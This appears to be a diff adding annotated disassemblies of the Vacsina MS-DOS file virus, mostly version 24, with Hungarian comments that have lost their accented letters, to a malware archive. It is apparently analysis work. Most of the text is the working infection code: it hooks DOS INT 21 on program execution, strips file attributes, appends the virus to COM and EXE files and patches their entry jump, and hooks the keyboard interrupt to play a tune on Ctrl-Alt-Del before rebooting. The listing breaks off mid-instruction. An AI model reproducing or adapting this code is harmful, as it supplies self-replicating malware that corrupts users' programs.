+0426 26 ES: +0427 8C0E0100 MOV [0001],CS ;Uj gazda + + + ; Vrus visszamsolsa a szabadd tett helyre + +042B BF0000 MOV DI,0000 +042E 8BF3 MOV SI,BX ;bx=039F +0430 81C651FC ADD SI,FC51 ;FFF0 Vrus kezdete (mem.ler blokk + al egytt) +0434 B9B604 MOV CX,04B6 +0437 1E PUSH DS +0438 07 POP ES ;Vsszamsolunk +0439 0E PUSH CS +043A 1F POP DS ;es=ds ; ds=cs +043B F3 REPZ +043C A4 MOVSB + + + ; Egyb teendk (az j PSP miatt) + +043D 26 ES: +043E 832E030001 SUB WORD PTR [0003],+01 ;A mem.ler blokk hosszt nem kell s + zmolni! +0443 53 PUSH BX +0444 8CCB MOV BX,CS +0446 B450 MOV AH,50 ;SET_PSP (bx) +0448 CD21 INT 21 +044A 5B POP BX +044B 2E CS: +044C 8C0E3600 MOV [0036],CS ;PSP-n bell a gazda mehatrozsa +0450 2E CS: +0451 8B162C00 MOV DX,[002C] ;Environment szegmense +0455 4A DEC DX +0456 8EC2 MOV ES,DX ;Environment mem.ler blokkja +0458 26 ES: +0459 8C0E0100 MOV [0001],CS ;Uj gazda + + + ; INT 21 lekrdezse s trsa + +045D B82135 MOV AX,3521 ;GET_INT_VECT (es:bx) +0460 53 PUSH BX +0461 CD21 INT 21 +0463 36 SS: +0464 8C060200 MOV [0002],ES ;ERE_INT21+2 +0468 36 SS: +0469 891E0000 MOV [0000],BX ;ERE_INT21 +046D 5B POP BX +046E B82125 MOV AX,2521 ;SET_INT_VECT (ds:dx) +0471 8CD2 MOV DX,SS +0473 8EDA MOV DS,DX +0475 BAC000 MOV DX,00C0 ;00C0-tl lesz az INT 21 rutin +0478 CD21 INT 21 + + + ; "A vrus mr a memriban van" jelzs + +047A B80000 MOV AX,0000 +047D 8EC0 MOV ES,AX +047F 26 ES: +0480 C706C5007F39 MOV WORD PTR [00C5],397F;Azonost sz +0486 26 ES: +0487 C606C70005 MOV BYTE PTR [00C7],05 ;Vrus verziszma + + + ; DTA belltsa (rosszul!) + +048C 8CC8 MOV AX,CS +048E 8ED8 MOV DS,AX +0490 B41A MOV AH,1A ;SET_DTA_ADDRESS (ds:dx) +0492 BA5000 MOV DX,0050 ;HIBA !!! 0080 kellene +0495 CD21 INT 21 + + + ; Az eredeti program futtatsra ugrs + +0497 2E CS: +0498 8B47FB MOV AX,[BX-05] ;ERE_AX (039A) Megj.:Teljesen felesle + ges +049B E94EFF JMP 03EC + + + + ;--------------------------------------------------------------- + ; A file utols 8 byteja tartalmazza a fontos informcikat + ;--------------------------------------------------------------- + +049E ERE_HOSSZ DW ? ;A file eredeti hossza +04A0 ERE_2_3 DW ? ;A file eredeti 2.,3. byteja+0103 +04A2 AZONOSITO DW 7AF4 ;Azonostsz. Ez alapjn ismeri fel a fertz + st +04A4 VERZIOSZAM DB 5 ;Vrus verziszma +04A5 ERE_1 DB 0 ;Mg nem hasznlt (az els byte mindig E9) + + +Vrus elejnek hexa dump-ja: + +cs-1:0000 4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00 M..K............ +cs-1:0010 72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21 r...V. . ......! +cs-1:0020 B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20 ... .VACSINA +cs-1:0030 00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00 ........|.7..@.. +cs-1:0040 46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20 F........ +cs-1:0050 20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00 ... + + +Megjegyzsek: + +- A file eredeti idejt nem kredezi le, s nem lltja vissza. +- DTA-t rosszul lltja be. Ez a gyermekbetegsg a ksbbi verzikban is megmara + dt. +- rdekes, hogy az EXE kdjt az 5A4D-t itt csak gy hasznlja, mg a ksbbi ve + rzik a 4D5A-t + is hasznljk. +- EXE-k COM-m alaktsa utn nem tudom, hogy mirt nem mindjrt a COM megfertz + se rszre ugrik. +- Jpr felesleges utasts van a kdban, ami mg a ksbbi verzikban is megmar + adt. +- A vrus egsz mkdse arra utal, hogy csak kisrletezsrl van sz. diff --git a/MSDOS/Virus.MSDOS.Unknown.vac_tp24.asm b/MSDOS/Virus.MSDOS.Unknown.vac_tp24.asm new file mode 100644 index 00000000..1eaa45f4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vac_tp24.asm @@ -0,0 +1,1294 @@ + + + ************************** + * Vacsina 24-es verzija * + ************************** + +A vrus hossza 1760D-1775D byte. + +A vrus 32D bytenl hosszabb s 61559D bytenl rvidebb COM s EXE,esetleg OV? f + ileokat fertz meg. +A file vgt paragrafushatrra vgja s odamsolja magt a lentebb lthat form + ban. A file elejre +legyen az EXE vagy COM egy JMP utastst r, ami a belpsi pontra (038B) mutat. + Egy filet csak +egyszer fertz meg. A korbbi verzij Vacsinkat kili. A fertzttsget a file + utols 8 byteja +alapjn dnti el. Ez alapjn rtja ki a korbbi verzikat. ( HZVIR is ez alapjn + rt az alapos +ellenrzsnl. Mi tbb a Yankee Doodle is r maga utn 8 ilyen byteot ( csak COM + filenl), gy az +is irthat gy. A HZVIR a Yankee Doodleokat mgis mshogy rtja! + +A vrus els behvsakor egy gpen nveli az INIC_SZ-t. Majd szaporodskor mr e + zzel az rtkkel +msoldik. Csak akkor zenl Ctrl-Alt-Del-nl a vrus, ha INIC_SZ>=10D. +Egyb kros tevkenysge a vrusnak nincs. + +A kirtshoz minden adat megtallhat 06D8-tl. + +Vltozsok a Vacsina 16-os verzijhoz kpest: +- EXE filet mr valban fertz. +- Zenl Ctrl-Alt-Del-nl. +- Mr megllaptja a DOS valdi belpsi pontjt. Ezrt hlzatra mr nem megy f + el. +- Mr a C5xx DOS funkcival krdezi le magt. +- A memrialer blokkot mr nem cipeli magval. + + + ;--------------------------------------------------------------- + ; Vltozk + ;--------------------------------------------------------------- + +0000 C_084D DW 084D ;Konstans. Ennyivel fogja a vrus htrbb pako + lni a programot +0001 DB 0 ;Nem hasznlt +0003 VIR_HOSSZ DW 006D ;Vrus hossza DIV 16 +0004 DB 0C DUP 0 ;Nem hasznlt +0010 TISZTA_INT21 DD ? ;A DOS valdi belpsi pontja ha a lpsenknt + i vgrehajtssal + ;meg tudja llaptani. Egybknt az INT 21 ere + deti tartalma +0014 ERE_INT21 DD ? ;Az INT 21 eredeti cme +0018 ERE_INT24 DD ? ;Az INT 24 eredeti cme +001C ERE_INT09 DD ? ;Az INT 09 eredeti cme +0020 F_ATTR DW ? ;File attributtuma +0022 HANDLE DW ? ;File handle +0024 F_DTTM DD ? ;File dtuma, ideje +0028 ERE_AX DW ? ;ax eredeti rtke (program futtatsnl ) +002A TRAP_FLAG DB ? ;Ha rtke 1 akkor engedlyezett a lpsenknt + i futtats + ;Ha 0 akkor nem +002B VEZERLO DB 1 ;Verziszmoknl jtszik valamilyen szerepet.N + em tudtam eldnteni + ;hogy mit csinl !!! Ha a 0. bitje 0 nem fert + z a vrus. +002C INIC_SZ DB ? ;Inicializlsok szma. Csak a ****-dik inicia + lizls utn zenl +002D BUFFER DB 14 DUP (?);14 byte buffer. Ide olvassa be egy file utls + 8 bytejt + ;Ez alapjn dnti el, hogy egy file fertztt- + e mr. + ;Ide olvassa be egy file els 14 bytejt (EXE- + nl ez a HEADER) + ;Felptse (fertztt filenl): + ; 002D DW ? ;File eredeti hossza + ; 002F DW ? ;File eredeti 2.,3. byteja mint sz + 0103 ! + ; 0031 DW 7AF4 ;Azonost sz. Ez alapjn ismeri fel, hogy fe + rtztt a file + ; 0033 DB 18 ;Verziszm + ; 0034 DB ? ;9-esnl nagyobb verzinl a file eredeti els + byteja + + ;Itt lltja el az eredeti els 3 byteot is + ; 002D DB ? ;File eredeti els byteja lesz itt. + ; 002E DW ? ;Ide menti a file eredeti 2.,3. bytejt jl ! + (Egy fertztt + ;file ferttlentsekor + ;EXE HEADERnl: + ; 002D DW 5A4D ;EXE jelz + ; 002F DW ? ;File hossz modulo 512 + ; 0031 DW ? ;File hossz 512-es lapokban + ; 0033 DW ? ;Relokcis tbla hossza + ; 0035 DW ? ;Header hossza paragrafusokban + ; 0037 DW ? ;Memriaigny (min) + ; 0039 DW ? ;Memriaigny (max) + + + ;--------------------------------------------------------------- + ; Vltozterlet vge + ;--------------------------------------------------------------- + + + ;--------------------------------------------------------------- + ; Egy hossz ugrs az eredeti DOS-ra + ;--------------------------------------------------------------- + +003B FF2E1000 * JMP FAR [0010] ;TISZTA_INT21 rtke ekkor mg=ERE_IN + T21-gyel + + + ;--------------------------------------------------------------- + ; Tiszta INT 21 hvs + ;--------------------------------------------------------------- + +003F 9C * PUSHF +0040 FA CLI +0041 2E CS: +0042 FF1E1400 CALL FAR [0014] +0046 C3 RET + + + ;--------------------------------------------------------------- + ; Directory bejegyzs aktualizlsa + ;--------------------------------------------------------------- + +0047 53 PUSH BX +0048 50 PUSH AX +0049 2E CS: +004A 8B1E2200 MOV BX,[0022] ;HANDLE +004E B445 MOV AH,45 ;DUPLICATE_FILE_HANDLE +0050 E8ECFF CALL 003F ;TINT 21 +0053 7209 JB 005E ;Hibnl CF-fel tr vissza +0055 8BD8 MOV BX,AX ;j handle +0057 B43E MOV AH,3E ;CLOSE_HANDLE +0059 E8E3FF CALL 003F ;TINT 21 +005C EB01 JMP 005F ;Hibnl CF-fel, egybknt NC-vel tr + vissza +005E F8 * CLC +005F 58 * POP AX +0060 5B POP BX +0061 C3 RET + + + ;--------------------------------------------------------------- + ; INT 24 (Dos kritikus hibakezelje) + ;--------------------------------------------------------------- + +0062 B003 * MOV AL,03 ;Kritikus hibnl DOS hibt generljo + n ! +0064 CF IRET + + + ;--------------------------------------------------------------- + ; INT 09 (Billentyzet hardware interruptja) + ;--------------------------------------------------------------- + + ; Ha a CTRL-ALT-DEL le van nyomva s INIC_SZ>=10D akkor zenl + +0065 50 * PUSH AX +0066 E460 IN AL,60 ;Scan kd beolvassa +0068 3C53 CMP AL,53 ; kdja +006A 752E JNZ 009A ;Ha nem ugrs az eredeti rutinra +006C B402 MOV AH,02 ;Shift sttusz lekrdezse +006E CD16 INT 16 +0070 240C AND AL,0C +0072 3C0C CMP AL,0C ;Crtl-Alt +0074 7524 JNZ 009A ;Ha nincs mind a kett lenyomva ugrs +0076 8CC8 MOV AX,CS +0078 8ED8 MOV DS,AX ;Szegmensek belltsa +007A 8ED0 MOV SS,AX +007C BCFEFF MOV SP,FFFE +007F 2E CS: +0080 803E2C000A CMP BYTE PTR [002C],0A ;INIC_SZ +0085 7203 JB 008A ;Ha 10D-nl kevesebbszer inicializld + ott a vrus +0087 E89705 CALL 0621 ;Zenlj! +008A B80000 MOV AX,0000 +008D 8ED8 MOV DS,AX +008F C70672043412 MOV WORD PTR [0472],1234;Meleg reset jelzs +0095 EAF0FF00F0 JMP F000:FFF0 ;REBOOT +009A 58 * POP AX +009B 2E CS: +009C FF2E1C00 JMP FAR [001C] ;ERE_INT09 eredeti rutin futtatsa + + + ;--------------------------------------------------------------- + ; INT 21 (Dos belpsi pontja) + ;--------------------------------------------------------------- + ; Leflelt DOS funkcik sztosztsa + +00A0 9C * PUSHF ;Megj.: tk felesleges +00A1 3D004B CMP AX,4B00 ;EXECUTE +00A4 7461 JZ 0107 +00A6 3D00C5 CMP AX,C500 ;ax=18H, STC, IRET-et hajt vgre +00A9 7448 JZ 00F3 +00AB 3D01C5 CMP AX,C501 ;ah=0, al=[002B], STC, IRET-et hajt v + gre +00AE 7448 JZ 00F8 +00B0 3D02C5 CMP AX,C502 ;[002B]=cl, STC, IRET-et hajt vgre +00B3 744B JZ 0100 +00B5 3D03C5 CMP AX,C503 ;es:bx=TISZTA_INT21 s vmi egyb +00B8 740C JZ 00C6 +00BA 9D POPF +00BB 2E CS: +00BC FF2E1000 JMP FAR [0010] ;ERE_INT21 futtatsa + + + ;--------------------------------------------------------------- + ; Visszatrs a C5xx alfunkciknl + ;--------------------------------------------------------------- + +00C0 9D * POPF +00C1 FB STI +00C2 F9 STC ;Jelzs, hogy a vacsina kld adatot +00C3 CA0200 RETF 0002 ;Visszatrs + + + ;--------------------------------------------------------------- + ; C503 DOS alfunkci + ;--------------------------------------------------------------- + ; Be: bx=hv vacsina verziszma + ; Ha nagyobb verzij vacsina hvta NC-vel tr vissza, egyebknt CF-fel t + r vissza jelezvn + ; hogy a vrus mr a memriban van. + +00C6 B81900 * MOV AX,0019 ;Verziszm+1 +00C9 2E CS: +00CA F6062B0002 TEST BYTE PTR [002B],02 ;VEZERLO ??? +00CF 7501 JNZ 00D2 +00D1 48 DEC AX +00D2 3BD8 * CMP BX,AX +00D4 B000 MOV AL,00 ;Megj.: rdekes, hogy a Yankee Doodle + -ben itt hibsan +00D6 D0D0 RCL AL,1 ;XOR AL,AL van, ami trli a carry-t +00D8 50 PUSH AX ;ax-ben 0 vagy 1 +00D9 B81800 MOV AX,0018 +00DC 2E CS: +00DD F6062B0004 TEST BYTE PTR [002B],04 ;VEZERLO ??? +00E2 7501 JNZ 00E5 +00E4 40 INC AX +00E5 3BD8 * CMP BX,AX ;Ha nagyobb verzij vacsina hvta NC + -vel tr vissza +00E7 2E CS: +00E8 C41E1400 LES BX,[0014] ;es:bx=ERE_INT21 +00EC 58 POP AX +00ED 44 INC SP ;popf-et helyettesti +00EE 44 INC SP +00EF FB STI +00F0 CA0200 RETF 0002 + + ;--------------------------------------------------------------- + ; C500 DOS alfunkci + ;--------------------------------------------------------------- + +00F3 B81800 * MOV AX,0018 +00F6 EBC8 JMP 00C0 ;Visszatrs CF-fel + + + ;--------------------------------------------------------------- + ; C501 DOS alfunkci + ;--------------------------------------------------------------- + +00F8 2E * CS: +00F9 A02B00 MOV AL,[002B] ;Nem tudom pontosan mit jelent! +00FC B400 MOV AH,00 +00FE EBC0 JMP 00C0 ;Visszatrs CF-fel + + + ;--------------------------------------------------------------- + ; C502 DOS alfunkci + ;--------------------------------------------------------------- + +0100 2E * CS: +0101 880E2B00 MOV [002B],CL ;[002B] belltsa (nem tudom mit jel + ent) +0105 EBB9 JMP 00C0 ;Visszatrs Cf-gel + + + ;--------------------------------------------------------------- + ; Leflelt DOS 4B00 alfunkci + ;--------------------------------------------------------------- + ; INT 24 (DOS kritikus hibakezelje) lekrdezre trsa + +0107 06 * PUSH ES ;bp+10 +0108 1E PUSH DS ;bp+0E +0109 55 PUSH BP ;bp+0C +010A 57 PUSH DI ;bp+0A +010B 56 PUSH SI ;bp+08 +010C 52 PUSH DX ;bp+06 +010D 51 PUSH CX ;bp+04 +010E 53 PUSH BX ;bp+02 +010F 50 PUSH AX ;bp+00 +0110 8BEC MOV BP,SP +0112 B82435 MOV AX,3524 ;GET_INT_VECT (es:bx) +0115 E827FF CALL 003F ;Tiszta int 21 hvs (a tovbbiakban + TINT 21) +0118 2E CS: +0119 8C061A00 MOV [001A],ES ;ERE_INT24 szegmense +011D 2E CS: +011E 891E1800 MOV [0018],BX ;ERE_INT24 offsetje +0122 0E PUSH CS +0123 1F POP DS ;ds=cs +0124 BA6200 MOV DX,0062 +0127 B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx) +012A E812FF CALL 003F ;TINT 21 + + + ;ds:dx ltal mutatott nev file attributtumnak lekrdezse, s R/O trlse + +012D B80043 MOV AX,4300 ;GET_FILE_ATTR (cx) +0130 8E5E0E MOV DS,[BP+0E] ;eredeti ds +0133 8B5606 MOV DX,[BP+06] ;eredeti dx +0136 E806FF CALL 003F ;TINT 21 +0139 7303 JNB 013E ;Ha nincs hiba (ltezik a file) +013B E93302 JMP 0371 ;Hibnl INT 24 visszalltsa, erede + ti DOS hvs +013E 2E * CS: +013F 890E2000 MOV [0020],CX ;F_ATTR +0143 B80143 MOV AX,4301 ;SET_FILE_ATTR (cx) +0146 80E1FE AND CL,FE ;R/O bit trlse +0149 E8F3FE CALL 003F ;TINT 21 +014C 7303 JNB 0151 ;Ha nincs hiba +014E E92002 JMP 0371 ;Hibnl INT 24 visszalltsa, erede + ti DOS hvs + + + ; File megnyitsa rsra, olvassra + +0151 B8023D * MOV AX,3D02 ;OPEN_HANDLE (ax) rsra,olvassra +0154 8E5E0E MOV DS,[BP+0E] ;eredeti ds +0157 8B5606 MOV DX,[BP+06] ;eredeti dx +015A E8E2FE CALL 003F ;TINT 21 +015D 7303 JNB 0162 ;Ha nincs hiba +015F E9FE01 JMP 0360 ;Hibnl INT 24,F_ATTR visszalltsa + , eredeti DOS +0162 2E * CS: +0163 A32200 MOV [0022],AX ;HANDLE +0166 8BD8 MOV BX,AX + + + ; File idejnek lekrdezse + +0168 B80057 MOV AX,5700 ;GET_FILE_DTTM (cx:dx) +016B E8D1FE CALL 003F ;TINT 21 +016E 2E CS: +016F 890E2400 MOV [0024],CX ;F_DTTM (time) +0173 2E CS: +0174 89162600 MOV [0026],DX ;F_DTTM+2 (date) + + + ;A file utols 8 bytejnak beolvassa a BUFFER-be, s a fertzttsg vizsg + lata + +0178 0E PUSH CS +0179 1F POP DS ;ds=cs +017A B80242 * MOV AX,4202 ;File pointer a file vge-8-dik pozc + ira +017D B9FFFF MOV CX,FFFF +0180 BAF8FF MOV DX,FFF8 +0183 8B1E2200 MOV BX,[0022] ;HANDLE +0187 E8B5FE CALL 003F ;TINT 21 +018A 7221 JB 01AD ;Hibnl INT 24, F_ATTR, F_DTTM vissza + lltsa, CLOSE +018C 8B1E2200 MOV BX,[0022] ;HANDLE +0190 BA2D00 MOV DX,002D ;BUFFER cme ds:dx-ben +0193 B90800 MOV CX,0008 ;8 byte olvassa +0196 B43F MOV AH,3F ;READ_HANDLE (bx,cx,ds:dx) +0198 E8A4FE CALL 003F ;TINT 21 +019B 7210 JB 01AD ;Hibnl INT 24, F_ATTR, F_DTTM vissza + lltsa, CLOSE +019D 3D0800 CMP AX,0008 ;Beolvasta-e mind a 8 byteot? +01A0 750B JNZ 01AD ;Hibnl INT 24, F_ATTR, F_DTTM vissz + alltsa, CLOSE +01A2 813E3100F47A CMP WORD PTR [0031],7AF4;Fertztt-e a file? +01A8 7406 JZ 01B0 ;Ha fertztt ugrs +01AA E98C00 JMP 0239 ;Lehet megfertzni a filet + + + ; Segdugrs hibnl ( INT 24, F_ATTR, F_DTTM visszalltsa, CLOSE ) + +01AD E99601 * JMP 0346 + + + ;--------------------------------------------------------------- + ; A file mr fertztt Vacsina vrussal + ;--------------------------------------------------------------- + ; Milyen verzij vrus? + +01B0 B418 * MOV AH,18 +01B2 F6062B0002 TEST BYTE PTR [002B],02 ;VEZERLO ??? +01B7 7402 JZ 01BB +01B9 FEC4 INC AH +01BB 38263300 * CMP [0033],AH ;A fileban lv vrus verzija +01BF 73EC JNB 01AD ;Ha egyezik vagy nagyobb-> nem fertz + nk + + + ; Egy fertztt filebl a szksges informcik kivtele + +01C1 8A0E3400 MOV CL,[0034] ;9-esnl nagyobb verzinl a file ered + eti els byteja +01C5 A12D00 MOV AX,[002D] ;File eredeti hossza +01C8 A3D806 MOV [06D8],AX ;ERE_HOSSZ +01CB A12F00 MOV AX,[002F] ;File eredeti 2.,3. byteja mint sz + + 0103 ! +01CE A3DA06 MOV [06DA],AX ;ERE_2_3 +01D1 2D0301 SUB AX,0103 ;Valdi eredeti 2.,3. byte +01D4 A32E00 MOV [002E],AX ;Eltrolja +01D7 803E330009 CMP BYTE PTR [0033],09 +01DC 7702 JA 01E0 ;9-es verzinl nagyobb? +01DE B1E9 MOV CL,E9 ;Egybknt az els byte egy JMP kdja +01E0 880E2D00 * MOV [002D],CL ;Eltrolja +01E4 880EDF06 MOV [06DF],CL ;ERE_1 + + + ; Egy fertztt filebl a rgebbi vacsina kirtsa + ; Az eredeti els 3 byte visszalltsa: + +01E8 B80042 MOV AX,4200 ;MOVE_FILE_POINTER (cx:dx) +01EB B90000 MOV CX,0000 ;File elejre lls +01EE BA0000 MOV DX,0000 +01F1 8B1E2200 MOV BX,[0022] ;HANDLE +01F5 E847FE CALL 003F ;TINT 21 +01F8 72B3 JB 01AD ;Hibnl +01FA B440 MOV AH,40 ;WRITE_HANDLE (bx,cx,ds:ds) +01FC BA2D00 MOV DX,002D +01FF B90300 MOV CX,0003 +0202 E83AFE CALL 003F ;TINT 21 +0205 72A6 JB 01AD ;Hibnl +0207 3D0300 CMP AX,0003 ;Kirta-e mind a 3 byteot? +020A 75A1 JNZ 01AD ;Hibnl +020C E838FE CALL 0047 ;Directory bejegyzs aktualizlsa +020F 729C JB 01AD ;Hibnl + + + ; File mretre vgsa: + +0211 B80042 MOV AX,4200 ;MOVE_FILE_POINTER (cx:dx) +0214 B90000 MOV CX,0000 +0217 8B16D806 MOV DX,[06D8] ;ERE_HOSSZ +021B 8B1E2200 MOV BX,[0022] ;HANDLE +021F E81DFE CALL 003F ;TINT 21 +0222 7289 JB 01AD ;Hibnl +0224 B440 MOV AH,40 ;WRITE_HANDLE +0226 B90000 MOV CX,0000 ;Csonkols +0229 E813FE CALL 003F ;TINT 21 +022C 7208 JB 0236 ;Hibnl +022E E816FE CALL 0047 ;Directory bejegyzs aktualizlsa +0231 7203 JB 0236 ;Hibnl +0233 E944FF JMP 017A ;Ksz: lertottuk a vrust, de htha v + an mg egy + + + ; Segdugrs hibnl ( INT 24, F_ATTR, F_DTTM visszalltsa, CLOSE ) + +0236 E90D01 * JMP 0346 + + + ;--------------------------------------------------------------- + ; A file mg/mr nem fertztt, lehet megfertzni + ;--------------------------------------------------------------- + ; Csak akkor fertz, ha [002B] and 1 = 1 !!! + +0239 F6062B0001 * TEST BYTE PTR [002B],01 ;VEZERLO +023E 74F6 JZ 0236 ;Nem fertz !!! + + + ; Csak akkor fertzi a filet, ha 32 < hossz < 61559 + +0240 B80242 MOV AX,4202 ;MOVE_FILE_POINTER (cx:dx) +0243 B90000 MOV CX,0000 +0246 8BD1 MOV DX,CX ;File vgre lls +0248 8B1E2200 MOV BX,[0022] ;HANDLE +024C E8F0FD CALL 003F ;TINT 21 +024F 72E5 JB 0236 ;Hibnl +0251 83FA00 CMP DX,+00 ;dx:ax-ben a file hossza +0254 75E0 JNZ 0236 ;Nagyobb mint 64K->nem fertzzk +0256 3D2000 CMP AX,0020 +0259 76DB JBE 0236 ;Ha 32D bytenl kisebb vagy egyenl +025B 3D77F0 CMP AX,F077 +025E 90 NOP ;Megj.: Ez a NOP minek van itt? +025F 73D5 JNB 0236 ;Ha 61559 bytenl hosszabb vagy egyen + l +0261 A3D806 MOV [06D8],AX ;ERE_HOSSZ + + + ; File eljre ll + +0264 B80042 MOV AX,4200 ;MOVE_FILE_POINTER (cx:dx) +0267 B90000 MOV CX,0000 +026A 8BD1 MOV DX,CX ;File elejre ll +026C 8B1E2200 MOV BX,[0022] ;HANDLE +0270 E8CCFD CALL 003F ;TINT 21 +0273 72C1 JB 0236 ;Hibnl + + + ; A BUFFERbe a file els 14D bytejnak beolvassa + +0275 BA2D00 MOV DX,002D ;BUFFER +0278 B90E00 MOV CX,000E +027B B43F MOV AH,3F ;READ_HANDLE (bx,cx,ds:dx) +027D E8BFFD CALL 003F ;TINT 21 +0280 72B4 JB 0236 ;Hibnl +0282 3D0E00 CMP AX,000E +0285 75AF JNZ 0236 ;Hibnl +0287 813E2D004D5A CMP WORD PTR [002D],5A4D +028D 740B JZ 029A ;Ugrs, ha EXE +028F 813E2D005A4D CMP WORD PTR [002D],4D5A +0295 7403 JZ 029A +0297 EB15 JMP 02AE ;COM filenl +0299 90 NOP + + + ; EXE file megfertzse (nem fertzzk meg, ha hibs a header) + +029A 833E3900FF * CMP WORD PTR [0039],-01 ;Memriaigny (max) +029F 7595 JNZ 0236 ;Ha nem FFFF nem fertzzk (mirt ?) +02A1 A13100 MOV AX,[0031] ;File hossz 512-es lapokban +02A4 B109 MOV CL,09 +02A6 D3E0 SHL AX,CL ;*512 +02A8 3B06D806 CMP AX,[06D8] ;Stimmel-e a hossz? +02AC 7288 JB 0236 ;Ha nem nem fertznk + + + ; File megfertzse (EXE-bl is COM-ot csinl) + ; Els 3 byte megrzse + +02AE A12E00 * MOV AX,[002E] ;File 2.,3. byteja +02B1 050301 ADD AX,0103 ;+ 0103 !!! +02B4 A3DA06 MOV [06DA],AX ;ERE_2_3 +02B7 A02D00 MOV AL,[002D] ;File 1. byteja +02BA A2DF06 MOV [06DF],AL ;ERE_1 + + + ; Filehossz kerktse paragrafushatrra + +02BD B80042 MOV AX,4200 ;MOVE_FILE_POINTER +02C0 B90000 MOV CX,0000 +02C3 8B16D806 MOV DX,[06D8] ;ERE_HOSSZ +02C7 83C20F ADD DX,+0F +02CA 83E2F0 AND DX,-10 ;Filehossz kerektse +02CD 8B1E2200 MOV BX,[0022] ;HANDLE +02D1 E86BFD CALL 003F ;TINT 21 +02D4 7303 JNB 02D9 +02D6 EB6E * JMP 0346 ;Hibnl +02D8 90 NOP + + + ; A vrus hozzrja magt a filehoz + +02D9 8B1E2200 * MOV BX,[0022] ;HANDLE +02DD 8CCA MOV DX,CS ;??? +02DF BA0000 MOV DX,0000 +02E2 B9E006 MOV CX,06E0 ;Vrus hossza +02E5 B440 MOV AH,40 ;WRITE_HANDLE +02E7 FF362B00 PUSH [002B] ;Megrzi (VEZERLO) +02EB C6062B0001 MOV BYTE PTR [002B],01 ;fertz pldny jelzs +02F0 E84CFD CALL 003F ;TINT 21 +02F3 5A POP DX +02F4 88162B00 MOV [002B],DL ;Visszalltja +02F8 72DC JB 02D6 ;Hibnl +02FA 3DE006 CMP AX,06E0 ;Kirta-e mind a 06E0 byteot +02FD 75D7 JNZ 02D6 ;Hibnl +02FF E845FD CALL 0047 ;Directory bejegyzs aktualizlsa +0302 72D2 JB 02D6 ;Hibnl + + + ; A file leend els 3 bytejnak ellltsa a BUFFER-ben + +0304 C6062D00E9 MOV BYTE PTR [002D],E9 ;JMP kdja +0309 2E CS: +030A 8B16D806 MOV DX,[06D8] ;ERE_HOSSZ +030E 83C20F ADD DX,+0F +0311 83E2F0 AND DX,-10 ;Kerekts +0314 83EA03 SUB DX,+03 ;-3 a JMP miatt +0317 81C28B03 ADD DX,038B ;+ a belpsi pont offsetje a vruson + bell +031B 89162E00 MOV [002E],DX ;JMP operandusa + + + ; Az els 3 byte trsa + +031F B80042 MOV AX,4200 ;MOVE_FILE_POINTER (cx:dx) +0322 B90000 MOV CX,0000 +0325 8BD1 MOV DX,CX ;File elejre lls +0327 8B1E2200 MOV BX,[0022] ;HANDLE +032B E811FD CALL 003F ;TINT 21 +032E 72A6 JB 02D6 ;Hibnl +0330 8B1E2200 MOV BX,[0022] ;HANDLE +0334 BA2D00 MOV DX,002D ;BUFFER +0337 B90300 MOV CX,0003 ;3 byte +033A B440 MOV AH,40 ;WRITE_HANDLE (bx,cx,ds:dx) +033C E800FD CALL 003F ;TINT 21 +033F 7295 JB 02D6 ;Hibnl +0341 3D0300 CMP AX,0003 +0344 7590 JNZ 02D6 ;Hibnl + + + ; File dtumnak visszalltsa, lezrs + +0346 2E * CS: +0347 8B1E2200 MOV BX,[0022] ;HANDLE +034B 2E CS: +034C 8B0E2400 MOV CX,[0024] ;F_DTTM (time) +0350 2E CS: +0351 8B162600 MOV DX,[0026] ;F_DTTM+2 (date) +0355 B80157 MOV AX,5701 ;SET_FILE_DTTM (cx:dx) +0358 E8E4FC CALL 003F ;TINT 21 +035B B43E MOV AH,3E ;CLOSE_HANDLE (bx) +035D E8DFFC CALL 003F ;TINT 21 + + + ; File eredeti attributtumnak visszalltsa + +0360 B80143 * MOV AX,4301 ;SET_FILE_ATTR +0363 8E5E0E MOV DS,[BP+0E] ;eredeti ds +0366 8B5606 MOV DX,[BP+06] ;eredeti dx +0369 2E CS: +036A 8B0E2000 MOV CX,[0020] ;F_ATTR +036E E8CEFC CALL 003F ;TINT 21 + + + ; Eredeti INT 24 visszarsa, eredeti DOS hvsa + +0371 B82425 * MOV AX,2524 ;SET_INT_VECT (ds:dx) +0374 2E CS: +0375 C5161800 LDS DX,[0018] ;ERE_INT24 +0379 E8C3FC CALL 003F ;TINT 21 +037C 58 POP AX +037D 5B POP BX +037E 59 POP CX +037F 5A POP DX +0380 5E POP SI +0381 5F POP DI +0382 5D POP BP +0383 1F POP DS +0384 07 POP ES +0385 9D POPF +0386 2E CS: +0387 FF2E1000 JMP FAR [0010] ;ERE_INT21 + + + ;--------------------------------------------------------------- + ; Belpsi pont + ;--------------------------------------------------------------- + +038B E80000 * CALL 038E +038E 5B * POP BX ;*** BX=038E *** +038F 2E CS: +0390 89879AFC MOV [BX+FC9A],AX ;ERE_AX (0028) ax mentse +0394 2E CS: +0395 FE879EFC INC BYTE PTR [BX+FC9E] ;INIC_SZ (002C) inicializlsok szm + nak nvels + + + ; nlekrdezs + +0399 53 PUSH BX ;bx=038E +039A BB1800 MOV BX,0018 ;bx=24D (verziszm) +039D F8 CLC +039E B803C5 MOV AX,C503 ;nlekrdezs. CF-fel tr vissza, ha + aktv +03A1 CD21 INT 21 ;Megj.:Novell if CF-et ad vissza, az + t hiszem +03A3 5B POP BX ;bx=038E +03A4 7227 JB 03CD ;Ugrs, ha mr aktv az redeti progr + am futtatsra + + + ; A vrus htrbb msolja magt ([0000]+1 paragrafussal) + +03A6 83FCF0 CMP SP,-10 +03A9 7222 JB 03CD ;Ha spj_cs:0005-re 0146 by + te tmsolsa +049C A4 MOVSB ;visszafel (program+PSP+memrialer + blokk tm +049D FC CLD ;Megj.: j_cs:0000-0005 rsz ktszer + is tmsol + + + ; Memrialer blokk trsa + +049E 2E CS: +049F 8B9775FC MOV DX,[BX+FC75] ;VIR_HOSSZ (0003) vrus hossza parag + rafusokban +04A3 42 INC DX ;dx=006E +04A4 26 ES: +04A5 29160300 SUB [0003],DX ;Memriablokk hossznak cskkentse +04A9 26 ES: +04AA 